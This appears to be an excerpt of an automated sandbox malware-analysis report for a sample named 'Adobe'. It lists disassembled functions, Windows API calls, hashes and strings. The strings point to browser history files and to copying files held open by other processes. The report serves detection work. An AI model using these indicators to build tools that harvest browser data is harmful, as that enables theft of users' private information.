                                                                                                                              • API String ID: 2221118986-1725073988
                                                                                                                              • Opcode ID: f2ccd9f22684a9d505166f2bd917588c88a2d89474e41d8808a21707a3bb0a12
                                                                                                                              • Instruction ID: 0c5fbdb45af1b87466ede92b40025f4dfba1e1eb7e0419b48c64bc8603b8f36f
                                                                                                                              • Opcode Fuzzy Hash: f2ccd9f22684a9d505166f2bd917588c88a2d89474e41d8808a21707a3bb0a12
                                                                                                                              • Instruction Fuzzy Hash: 5D827A71608340AFD720DF15C881B1BBBE1FF88318F14491EFA9987262D779E954CB96
                                                                                                                              Function 004125B6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • ??3@YAXPAX@Z.MSVCRT(?,?,00412966,/deleteregkey,/savelangfile), ref: 004125C3
                                                                                                                              • DeleteObject.GDI32(00000000), ref: 004125E7
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ??3@DeleteObject
                                                                                                                              • String ID: r!A
                                                                                                                              • API String ID: 1103273653-628097481
                                                                                                                              • Opcode ID: 50c536e2c83fb8bec4500b48a67d64bb266b61e0188dcb515110e4721c15bf1b
                                                                                                                              • Instruction ID: d381ae2e1f6c469d4091c7bd434485f036f098756071eb86a226830a39d2e28c
                                                                                                                              • Opcode Fuzzy Hash: 50c536e2c83fb8bec4500b48a67d64bb266b61e0188dcb515110e4721c15bf1b
                                                                                                                              • Instruction Fuzzy Hash: 72E04F75000302DFD7115F26E400782B7F5FF85315F11455EE89497151EBB96164CE19
                                                                                                                              Function 0040D092 Relevance: 5.1, APIs: 4, Instructions: 51COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • ??2@YAPAXI@Z.MSVCRT(00000000,0040D142,00402E6F), ref: 0040D0CC
                                                                                                                              • ??2@YAPAXI@Z.MSVCRT(00000000,00000000,0040D142,00402E6F), ref: 0040D0EA
                                                                                                                              • ??2@YAPAXI@Z.MSVCRT(00000000,00000000,00000000,0040D142,00402E6F), ref: 0040D108
                                                                                                                              • ??2@YAPAXI@Z.MSVCRT(00000000,00000000,00000000,00000000,0040D142,00402E6F), ref: 0040D126
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ??2@
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1033339047-0
                                                                                                                              • Opcode ID: bb5a2cedd882201272bd117211a6380788fbbee7b2a1ea69d9384cb42441e8af
                                                                                                                              • Instruction ID: 5f4fc1bc6a90e200713bb7744dd8ab6a017b0cf4e98027731d5581fdeff4b0c3
                                                                                                                              • Opcode Fuzzy Hash: bb5a2cedd882201272bd117211a6380788fbbee7b2a1ea69d9384cb42441e8af
                                                                                                                              • Instruction Fuzzy Hash: B00121B2A413005EEB7ADF38EE5772966A0AF4C351F01453EA246CD1F6EEF58480CB49
                                                                                                                              Function 00444B06 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 108COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 004449B9: GetProcAddress.KERNEL32(00000000,00000000), ref: 004449E7
                                                                                                                                • Part of subcall function 004449B9: GetProcAddress.KERNEL32(00000000,00000000), ref: 004449F8
                                                                                                                                • Part of subcall function 004449B9: GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A09
                                                                                                                                • Part of subcall function 004449B9: GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A1A
                                                                                                                                • Part of subcall function 004449B9: GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A2B
                                                                                                                                • Part of subcall function 004449B9: GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A3C
                                                                                                                                • Part of subcall function 004449B9: GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A4D
                                                                                                                              • memcmp.MSVCRT(?,0044EC68,00000010,?,00000000,?), ref: 00444BA5
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: AddressProc$memcmp
                                                                                                                              • String ID: $$8
                                                                                                                              • API String ID: 2808797137-435121686
                                                                                                                              • Opcode ID: e80885fdbb6a557c0c44277052daa68a3f3074bd67b4db13da85d3ecc8de475b
                                                                                                                              • Instruction ID: 2c4e4273d6b09173b98ec99ba1a72f96ebc6587eba5c15334d9e54441f883a66
                                                                                                                              • Opcode Fuzzy Hash: e80885fdbb6a557c0c44277052daa68a3f3074bd67b4db13da85d3ecc8de475b
                                                                                                                              • Instruction Fuzzy Hash: 04314171A00209ABEB10DFA6CDC1BAEB7B9FF88314F11055AE515A3241D778ED048B69
                                                                                                                              Function 00430737 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 94COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Strings
                                                                                                                              • duplicate column name: %s, xrefs: 004307FE
                                                                                                                              • too many columns on %s, xrefs: 00430763
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID: duplicate column name: %s$too many columns on %s
                                                                                                                              • API String ID: 0-1445880494
                                                                                                                              • Opcode ID: d71f1f637ec18e5f8a62c501b2db333135d8de05f3daff8c641ff98159ef3fea
                                                                                                                              • Instruction ID: 332525b9e829d337f3b342900587a6bcab00951879d739311f42b30c77ca79e1
                                                                                                                              • Opcode Fuzzy Hash: d71f1f637ec18e5f8a62c501b2db333135d8de05f3daff8c641ff98159ef3fea
                                                                                                                              • Instruction Fuzzy Hash: 5E314735500705AFCB109F55C891ABEB7B5EF88318F24815BE8969B342C738F841CB99
                                                                                                                              Function 0040E4B2 Relevance: 4.6, APIs: 3, Instructions: 87fileCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 0040E01E: OpenProcess.KERNEL32(00000040,00000000,00000000,00000104,?,00000000,00000104,?,00000000,00000104,00000000), ref: 0040E093
                                                                                                                                • Part of subcall function 0040E01E: GetCurrentProcess.KERNEL32(?,80000000,00000000,00000000), ref: 0040E0B2
                                                                                                                                • Part of subcall function 0040E01E: DuplicateHandle.KERNELBASE(?,00000104,00000000), ref: 0040E0BF
                                                                                                                                • Part of subcall function 0040E01E: GetFileSize.KERNEL32(?,00000000), ref: 0040E0D4
                                                                                                                                • Part of subcall function 0040E01E: CreateFileMappingW.KERNELBASE(?,00000000,00000002,00000000,00000000,00000000), ref: 0040E0FE
                                                                                                                                • Part of subcall function 0040E01E: MapViewOfFile.KERNELBASE(00000000,00000004,00000000,00000000,00000104), ref: 0040E113
                                                                                                                                • Part of subcall function 0040E01E: WriteFile.KERNELBASE(00000000,00000000,00000104,0040E6A3,00000000), ref: 0040E12E
                                                                                                                                • Part of subcall function 0040E01E: UnmapViewOfFile.KERNEL32(00000000), ref: 0040E135
                                                                                                                                • Part of subcall function 0040E01E: CloseHandle.KERNELBASE(?), ref: 0040E13E
                                                                                                                              • CloseHandle.KERNELBASE(000000FF,000000FF,00000000,?,0040E6A3,000000FF,?,00000104,00000000), ref: 0040E582
                                                                                                                                • Part of subcall function 0040E2AB: memset.MSVCRT ref: 0040E380
                                                                                                                                • Part of subcall function 0040E2AB: wcschr.MSVCRT ref: 0040E3B8
                                                                                                                                • Part of subcall function 0040E2AB: memcpy.MSVCRT(?,-00000121,00000008,0044E518,00000000,00000000,74DF2EE0), ref: 0040E3EC
                                                                                                                              • DeleteFileW.KERNELBASE(?,?,0040E6A3,000000FF,?,00000104,00000000), ref: 0040E5A3
                                                                                                                              • CloseHandle.KERNEL32(000000FF,?,0040E6A3,000000FF,?,00000104,00000000), ref: 0040E5CA
                                                                                                                                • Part of subcall function 0040E175: memset.MSVCRT ref: 0040E1BD
                                                                                                                                • Part of subcall function 0040E175: _snwprintf.MSVCRT ref: 0040E257
                                                                                                                                • Part of subcall function 0040E175: free.MSVCRT ref: 0040E28B
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: File$Handle$Close$ProcessViewmemset$CreateCurrentDeleteDuplicateMappingOpenSizeUnmapWrite_snwprintffreememcpywcschr
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1979745280-0
                                                                                                                              • Opcode ID: 8c4b04af935ef543e183fc2d5fdeec50da417ae7152dfd79b37e36c3b45d6897
                                                                                                                              • Instruction ID: 90d235a97b45fa8760f9e747b2c38a4e83ddeae1161d8ec943a7631d31c9d9e7
                                                                                                                              • Opcode Fuzzy Hash: 8c4b04af935ef543e183fc2d5fdeec50da417ae7152dfd79b37e36c3b45d6897
                                                                                                                              • Instruction Fuzzy Hash: DA312CB1C00618ABCF60DF96CD456CEF7B8AF44318F1006AB9518B31A1DB755E95CF58
                                                                                                                              Function 00403A16 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 67COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 00403BED: memset.MSVCRT ref: 00403C09
                                                                                                                                • Part of subcall function 00403BED: memset.MSVCRT ref: 00403C1E
                                                                                                                                • Part of subcall function 00403BED: wcscat.MSVCRT ref: 00403C47
                                                                                                                                • Part of subcall function 00403BED: wcscat.MSVCRT ref: 00403C70
                                                                                                                              • memset.MSVCRT ref: 00403A55
                                                                                                                                • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                                                                • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                                                                • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                                                                • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                                                                • Part of subcall function 00409B98: GetFileAttributesW.KERNELBASE(?,00445E12,?,?,?,00000104), ref: 00409B9C
                                                                                                                                • Part of subcall function 0040A8D0: wcslen.MSVCRT ref: 0040A8E2
                                                                                                                                • Part of subcall function 0040A8D0: free.MSVCRT ref: 0040A908
                                                                                                                                • Part of subcall function 0040A8D0: free.MSVCRT ref: 0040A92B
                                                                                                                                • Part of subcall function 0040A8D0: memcpy.MSVCRT(?,?,000000FF,00000000,?,?,00000000,?,0040320A,00000000,000000FF), ref: 0040A94F
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: memsetwcscatwcslen$free$AttributesFilememcpywcscpy
                                                                                                                              • String ID: history.dat$places.sqlite
                                                                                                                              • API String ID: 2641622041-467022611
                                                                                                                              • Opcode ID: 9ef9f50687dcf4a121c62199c75cab5672ca0efd30876004e019efa0877f52a8
                                                                                                                              • Instruction ID: 4d52d99a2018a06e8b3479be55870673e402391ac5db5fe9af26a684ed702786
                                                                                                                              • Opcode Fuzzy Hash: 9ef9f50687dcf4a121c62199c75cab5672ca0efd30876004e019efa0877f52a8
                                                                                                                              • Instruction Fuzzy Hash: CA112EB2A0111866DB10FA66CD4AACE77BCAF54354F1001B7B915B20C2EB3CAF45CA69
                                                                                                                              Function 004175ED Relevance: 4.5, APIs: 3, Instructions: 49fileCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 00417570: SetFilePointer.KERNELBASE(?,?,?,00000000), ref: 00417591
                                                                                                                                • Part of subcall function 00417570: GetLastError.KERNEL32 ref: 004175A2
                                                                                                                                • Part of subcall function 00417570: GetLastError.KERNEL32 ref: 004175A8
                                                                                                                              • ReadFile.KERNELBASE(?,?,?,?,00000000), ref: 0041761D
                                                                                                                              • GetLastError.KERNEL32 ref: 00417627
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ErrorLast$File$PointerRead
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 839530781-0
                                                                                                                              • Opcode ID: 35ac1a26cfbf5729ffddcbfd3a0d39ca45c1cff254cac5b3720273d0b32ffa80
                                                                                                                              • Instruction ID: c9208e3d43fc8ff2949f7201360c8f82def2114e122364bdeb0a9035ecfb973e
                                                                                                                              • Opcode Fuzzy Hash: 35ac1a26cfbf5729ffddcbfd3a0d39ca45c1cff254cac5b3720273d0b32ffa80
                                                                                                                              • Instruction Fuzzy Hash: D001A236208204BBEB008F69DC45BDA3B78FB153B4F100427F908C6640E275D89096EA
                                                                                                                              Function 0040C1D3 Relevance: 4.5, APIs: 1, Strings: 2, Instructions: 45COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: FileFindFirst
                                                                                                                              • String ID: *.*$index.dat
                                                                                                                              • API String ID: 1974802433-2863569691
                                                                                                                              • Opcode ID: da4ae6558bc3f7d8c9357f2fa5faf2f590160579c2a5e59c58801196d12f8aed
                                                                                                                              • Instruction ID: 5c3219b8572ff4376619b1de75d6d1d1b7443a793578eadcc31bed7d77429009
                                                                                                                              • Opcode Fuzzy Hash: da4ae6558bc3f7d8c9357f2fa5faf2f590160579c2a5e59c58801196d12f8aed
                                                                                                                              • Instruction Fuzzy Hash: 0E01257180125895EB20E761DC467DF766C9F04314F5002FB9818F21D6E7389F958F9A
                                                                                                                              Function 00417570 Relevance: 4.5, APIs: 3, Instructions: 30COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • SetFilePointer.KERNELBASE(?,?,?,00000000), ref: 00417591
                                                                                                                              • GetLastError.KERNEL32 ref: 004175A2
                                                                                                                              • GetLastError.KERNEL32 ref: 004175A8
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ErrorLast$FilePointer
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1156039329-0
                                                                                                                              • Opcode ID: cc1ef3dda130daf7e478d1b1942235eaeedb2679cbd5ead2c00b98c40fc327c6
                                                                                                                              • Instruction ID: d6bca62a971eeae6b8c8b5ba9af71e52dcee60bc35e592f51b1cb5e4efccb3e3
                                                                                                                              • Opcode Fuzzy Hash: cc1ef3dda130daf7e478d1b1942235eaeedb2679cbd5ead2c00b98c40fc327c6
                                                                                                                              • Instruction Fuzzy Hash: 03F03071918115FBCB009B75DC009AA7ABAFB05360B104726E822D7690E730E9409AA8
                                                                                                                              Function 0040A02C Relevance: 4.5, APIs: 3, Instructions: 26filetimeCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,02000000,00000000,00000000,00000000,004039CA,00000000,?,00000000,?,00000000), ref: 0040A044
                                                                                                                              • GetFileTime.KERNEL32(00000000,00000000,00000000,?), ref: 0040A058
                                                                                                                              • CloseHandle.KERNELBASE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,004455D5), ref: 0040A061
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: File$CloseCreateHandleTime
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3397143404-0
                                                                                                                              • Opcode ID: 6d8e9772f553e0f6d6fb1ff05c82d92c5ca35a40b5ea430072252ef77abff331
                                                                                                                              • Instruction ID: 1a7e7c0172e67e076cb3c0c47f72e507911c66c01d2121fa3096849e88919459
                                                                                                                              • Opcode Fuzzy Hash: 6d8e9772f553e0f6d6fb1ff05c82d92c5ca35a40b5ea430072252ef77abff331
                                                                                                                              • Instruction Fuzzy Hash: 23E04F3624036077E2311B2BAC0CF4B2E69FBCBB21F150639F565B21E086704915C665
                                                                                                                              Function 00409A45 Relevance: 4.5, APIs: 3, Instructions: 26COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetTempPathW.KERNEL32(00000104,?,00445FAE), ref: 00409A5C
                                                                                                                              • GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00409A6E
                                                                                                                              • GetTempFileNameW.KERNELBASE(?,0040B827,00000000,?), ref: 00409A85
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Temp$DirectoryFileNamePathWindows
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1125800050-0
                                                                                                                              • Opcode ID: 18925d4506bf85468b003a70c2eb1ed6509d95f01bdd5ff44bce1f80956a42fa
                                                                                                                              • Instruction ID: b144c37017a21c6b5a3d1d2b3cfc872714830df517851edcd0bc871ed666fd71
                                                                                                                              • Opcode Fuzzy Hash: 18925d4506bf85468b003a70c2eb1ed6509d95f01bdd5ff44bce1f80956a42fa
                                                                                                                              • Instruction Fuzzy Hash: ACE0927A500218A7DB109B61DC4DFC777BCFB45304F0001B1B945E2161EB349A848BA8
                                                                                                                              Function 004175B7 Relevance: 4.5, APIs: 2, Strings: 1, Instructions: 24sleepCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • Sleep.KERNEL32(00000064), ref: 004175D0
                                                                                                                              • CloseHandle.KERNELBASE(?,00000000,?,0045DBC0,00417C24,?,00000000,00000000,?,00417DE1,?,00000000), ref: 004175D9
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: CloseHandleSleep
                                                                                                                              • String ID: }A
                                                                                                                              • API String ID: 252777609-2138825249
                                                                                                                              • Opcode ID: d8d89497e8f27404fcbaadc135fdc6127e9b1f5305c348180eeea445c8f3bba2
                                                                                                                              • Instruction ID: 75b622f9be81829505acbf4f2e76dfbd2ea822dc2a3448742147a61f3b6dc806
                                                                                                                              • Opcode Fuzzy Hash: d8d89497e8f27404fcbaadc135fdc6127e9b1f5305c348180eeea445c8f3bba2
                                                                                                                              • Instruction Fuzzy Hash: B7E0CD3B1045156ED500577DDCC099773E9EF892347144226F171C25D0C6759C828524
                                                                                                                              Function 004099F4 Relevance: 3.8, APIs: 3, Instructions: 38COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • malloc.MSVCRT ref: 00409A10
                                                                                                                              • memcpy.MSVCRT(00000000,?,?,?,?,004027EB,00000004,?,?,?,00401F8F,00000000), ref: 00409A28
                                                                                                                              • free.MSVCRT ref: 00409A31
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: freemallocmemcpy
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3056473165-0
                                                                                                                              • Opcode ID: a8c2b4a2abbe370f156afd1ac3a64450955b5e367f985048e5f3f029e510ba1a
                                                                                                                              • Instruction ID: 1240433d41d023da9ba75aa62d017d874606d7cfbee4c78203c9aa8101697722
                                                                                                                              • Opcode Fuzzy Hash: a8c2b4a2abbe370f156afd1ac3a64450955b5e367f985048e5f3f029e510ba1a
                                                                                                                              • Instruction Fuzzy Hash: 88F0E9727092219FC708AE75A98180BB79DAF55314B12482FF404E3282D7389C50CB58
                                                                                                                              Function 00415320 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 35COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              • failed memory resize %u to %u bytes, xrefs: 00415358
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: realloc
                                                                                                                              • String ID: failed memory resize %u to %u bytes
                                                                                                                              • API String ID: 471065373-2134078882
                                                                                                                              • Opcode ID: e5ae129d454b891eada76ccbfa458d0a6592737a0e8831e28bd7d44ced5f0510
                                                                                                                              • Instruction ID: af22f86c8d97814ed0bf188a45fefa7fc909daabc8cee38fca791e75313f3e85
                                                                                                                              • Opcode Fuzzy Hash: e5ae129d454b891eada76ccbfa458d0a6592737a0e8831e28bd7d44ced5f0510
                                                                                                                              • Instruction Fuzzy Hash: 49F027B3A01605A7D2109A55DC418CBF3DCDFC4655B06082FF998D3201E168E88083B6
                                                                                                                              Function 00437371 Relevance: 3.2, APIs: 1, Strings: 1, Instructions: 243COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID: d
                                                                                                                              • API String ID: 0-2564639436
                                                                                                                              • Opcode ID: 9081757c99ca3a842b21ef208fcf0aba28da60ac56b45099a1a2f4719e1e1e22
                                                                                                                              • Instruction ID: 98c7df9677761670a5e344a1c7628a8b006f0a2246df1cf6f5c5c4488f8f87fd
                                                                                                                              • Opcode Fuzzy Hash: 9081757c99ca3a842b21ef208fcf0aba28da60ac56b45099a1a2f4719e1e1e22
                                                                                                                              • Instruction Fuzzy Hash: 4591ABB0508302AFDB20DF19D88196FBBE4BF88358F50192FF88497251D778D985CB9A
                                                                                                                              Function 0041EED2 Relevance: 3.2, APIs: 1, Strings: 1, Instructions: 174COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: memset
                                                                                                                              • String ID: BINARY
                                                                                                                              • API String ID: 2221118986-907554435
                                                                                                                              • Opcode ID: 791c3fd1504af4fac70d2b15fe323b793bb873d26b5eb9345bfe372344e0595c
                                                                                                                              • Instruction ID: 089a0534c11c2c8a1092ab46fa13594887108ded84822111f9e073e703b485f9
                                                                                                                              • Opcode Fuzzy Hash: 791c3fd1504af4fac70d2b15fe323b793bb873d26b5eb9345bfe372344e0595c
                                                                                                                              • Instruction Fuzzy Hash: 41518B71A047059FDB21CF69C881BEA7BE4EF48350F14446AF849CB342E738D995CBA9
                                                                                                                              Function 0041268E Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 72COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: _wcsicmp
                                                                                                                              • String ID: /stext
                                                                                                                              • API String ID: 2081463915-3817206916
                                                                                                                              • Opcode ID: e32263b5b8ee2531379a68aaf94d61f4c2e86babe20e9cb478eb73a56fae033c
                                                                                                                              • Instruction ID: 10e6e7fbaeb1b3fbdbf907bfc38f809d5841ace5bac79d7196eddb000c1bc607
                                                                                                                              • Opcode Fuzzy Hash: e32263b5b8ee2531379a68aaf94d61f4c2e86babe20e9cb478eb73a56fae033c
                                                                                                                              • Instruction Fuzzy Hash: 19218E30B00605AFD704EF6ACAC1AD9F7A9FF44304F10416AA419D7342DB79ADA18B95
                                                                                                                              Function 0040CC26 Relevance: 3.1, APIs: 2, Instructions: 53COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 004096C3: CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,00000000,00000000,0044509F,00000000,?,00000000,00000104,00445E7E,?,?), ref: 004096D5
                                                                                                                              • GetFileSize.KERNEL32(00000000,00000000,000003FF,?,00000000,0040B7D4,?,?,?,?,000003FF,?,?,?,00445FAE,?), ref: 0040CC44
                                                                                                                                • Part of subcall function 0040AFCF: ??2@YAPAXI@Z.MSVCRT(00000001,00000001,00401E7F), ref: 0040AFD8
                                                                                                                                • Part of subcall function 0040A2EF: ReadFile.KERNELBASE(00000000,00000000,004450DD,00000000,00000000,?,?,004450DD,00000000,00000000), ref: 0040A306
                                                                                                                                • Part of subcall function 0040AB4A: MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,?,00000001,?,00401D51,00000000,00000001,00000000), ref: 0040AB63
                                                                                                                                • Part of subcall function 0040AB4A: MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,?,00000001,?,00401D51,00000000,00000001,00000000), ref: 0040AB88
                                                                                                                              • CloseHandle.KERNELBASE(?,?,000000FF,0000FDE9), ref: 0040CC98
                                                                                                                                • Part of subcall function 0040B04B: ??3@YAXPAX@Z.MSVCRT(00000000,00401B44,0044E518,?,00000001,00401B95,?,00401EE4), ref: 0040B052
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: File$ByteCharMultiWide$??2@??3@CloseCreateHandleReadSize
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 2445788494-0
                                                                                                                              • Opcode ID: c9e98542c376da042cc7e9fe0c2757e169e3ab3aa14d13962e5d64e4fd764852
                                                                                                                              • Instruction ID: dc8783d9a6c7baf78a377756874cfbd60b78407a6d3acdf6d1052ad5173bbb79
                                                                                                                              • Opcode Fuzzy Hash: c9e98542c376da042cc7e9fe0c2757e169e3ab3aa14d13962e5d64e4fd764852
                                                                                                                              • Instruction Fuzzy Hash: 91118275804208AFDB10AF6ADC45C8A7F75FF01364711C27AF525A72A1D6349A18CBA5
                                                                                                                              Function 00404423 Relevance: 3.1, APIs: 2, Instructions: 51libraryloaderCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 0040A804: memset.MSVCRT ref: 0040A824
                                                                                                                                • Part of subcall function 0040A804: GetSystemDirectoryW.KERNEL32(0045DE68,00000104), ref: 0040A841
                                                                                                                                • Part of subcall function 0040A804: wcscpy.MSVCRT ref: 0040A854
                                                                                                                                • Part of subcall function 0040A804: wcscat.MSVCRT ref: 0040A86A
